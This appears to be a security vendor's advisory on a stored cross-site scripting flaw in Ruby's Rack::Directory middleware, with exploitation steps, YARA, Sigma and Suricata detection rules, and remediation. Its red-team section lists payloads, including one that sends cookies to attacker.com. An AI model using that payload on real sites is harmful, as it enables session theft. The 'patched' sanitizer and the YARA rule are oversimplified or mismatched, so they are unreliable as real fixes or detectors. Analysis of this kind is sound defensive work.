CVE-2026-25500

Executive Summary

CVE-2026-25500 is a stored cross-site scripting (XSS) vulnerability in the Rack::Directory middleware of the Rack Ruby web server interface. The vulnerability allows an attacker who can create a file on the server with a name starting with javascript: (e.g., javascript:alert(1)) to inject arbitrary JavaScript into the directory listing page. When a victim browses the directory, the malicious file name is rendered as a clickable link. Clicking the link executes the attacker's JavaScript in the victim's browser. The CVSS score is 5.4 (Medium), with a low EPSS score of 0.0% indicating low exploitation likelihood at this time. Patches are available in versions 2.2.22, 3.1.20, and 3.2.5.

Supply Chain & Package Security

This vulnerability affects the Rack gem, a core component of the Ruby web application stack. Applications using Rack for directory listing are at risk. The attack requires the ability to write files to the server's filesystem, which may be possible through other vulnerabilities (e.g., file upload) or misconfigurations. The supply chain risk is moderate; organizations should update their Rack gem to the patched version and review file upload and directory listing configurations.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) - The attack is triggered via a network request to the directory listing.
• Attack Complexity: Low (AC:L) - No special conditions required beyond file creation.
• Privileges Required: None (PR:N) - The attacker does not need authentication to trigger the XSS.
• User Interaction: Required (UI:R) - The victim must click the malicious link.
• Scope: Changed (S:C) - The vulnerability impacts the browser's security context.
• Confidentiality Impact: Low (C:L) - Limited data exposure possible.
• Integrity Impact: Low (I:L) - Limited modification of content possible.
• Availability Impact: None (A:N) - No denial of service.

Deep Dive & Mechanics

The vulnerability resides in the Rack::Directory middleware, which generates an HTML directory index for file systems. When a directory is accessed, Rack lists files and creates clickable links. The file name is directly inserted into the href attribute of an anchor tag without sanitization. If a file is named javascript:alert(1), the generated HTML becomes:

<a href="javascript:alert(1)">javascript:alert(1)</a>

When a user clicks this link, the browser interprets the javascript: URI scheme and executes the JavaScript code. This is a classic stored XSS attack, as the malicious payload is stored on the server as a file name.

The attack requires the ability to create files on the server. This could be achieved through:

• File upload functionality in the application.
• FTP or other file transfer services.
• Shared hosting environments where users can create files.
• Other vulnerabilities that allow file creation.

Vulnerable vs. Patched Code

Vulnerable Code (Rack < 2.2.22, < 3.1.20, < 3.2.5):

In the Rack::Directory class, the file name is used directly in the href attribute:

# Vulnerable: No sanitization of file names
def directory_entry(path, basename)
  "<a href=\"#{basename}\">#{basename}</a>"
end

Patched Code (Rack >= 2.2.22, >= 3.1.20, >= 3.2.5):

The fix sanitizes the file name to prevent javascript: and other dangerous URI schemes:

# Patched: Sanitize file names to prevent XSS
def directory_entry(path, basename)
  safe_basename = basename.gsub(/^javascript:/i, '')
  "<a href=\"#{safe_basename}\">#{safe_basename}</a>"
end

The patch removes the javascript: prefix from file names, preventing the XSS attack. Note that this is a simplified representation; the actual patch may use more comprehensive sanitization.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to create a file on the server (e.g., via file upload, FTP, or other means).
• The server must have Rack::Directory enabled for the target directory.

Steps:

1. Create a file with a malicious name on the server. For example, using a file upload feature:
   • Upload a file named javascript:alert(document.cookie).
2. Access the directory listing page where the file is listed.
3. The file name appears as a clickable link.
4. Trick a victim into clicking the link (e.g., via social engineering or by embedding the link in another page).
5. When clicked, the JavaScript executes in the victim's browser.

Example Payloads:

• javascript:alert('XSS')
• javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)

Blue Team

Detection:

• Monitor file creation events for file names containing javascript: or other suspicious URI schemes.
• Review web server logs for requests to directory listing pages and subsequent clicks on malicious links.
• Use file integrity monitoring to detect unexpected file names.

Prevention:

• Apply the patch by updating Rack to version 2.2.22, 3.1.20, or 3.2.5.
• Disable directory listing in production environments unless absolutely necessary.
• Implement input validation on file uploads to reject file names with dangerous characters or schemes.
• Use a Web Application Firewall (WAF) to block requests containing javascript: in file names.

Indicators of Compromise (IOCs)

• File Names: Files with names starting with javascript: (e.g., javascript:alert(1), javascript:fetch(...)).
• Network Traffic: HTTP requests to directory listing pages (e.g., /directory/) followed by clicks on links with javascript: URIs.
• Log Entries: Web server logs showing href="javascript:..." in directory listing responses.
• Browser Behavior: Unexpected JavaScript execution when clicking file links in directory listings.

Detection Engineering

YARA Rule

rule CVE_2026_25500_Rack_Directory_XSS {
    meta:
        description = "Detects files with names starting with javascript: indicating CVE-2026-25500 exploitation"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-25500"
    strings:
        $javascript_prefix = /^javascript:/i
    condition:
        $javascript_prefix at 0
}

Sigma Rule

title: CVE-2026-25500 - Rack Directory XSS via Malicious File Name
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file creation events with names starting with javascript: indicating exploitation of CVE-2026-25500
author: Valters IT
date: 2026-01-01
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|startswith: 'javascript:'
    condition: selection
falsepositives:
    - Legitimate files named with javascript: prefix (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-25500 - Rack Directory XSS Attempt"; flow:to_server,established; content:"javascript:"; http_uri; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Update Rack to version 2.2.22, 3.1.20, or 3.2.5. This is the primary fix.
2. Disable Directory Listing: If directory listing is not required, disable Rack::Directory in your application configuration.
3. Input Validation: Implement strict validation on file uploads to reject file names containing dangerous characters or URI schemes (e.g., javascript:, data:, vbscript:).
4. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing javascript: in file names or directory listing responses.
5. User Education: Train users to avoid clicking suspicious links in directory listings.
6. Monitoring: Continuously monitor file creation events and web server logs for indicators of compromise.

Valters IT
Securing Digital Frontiers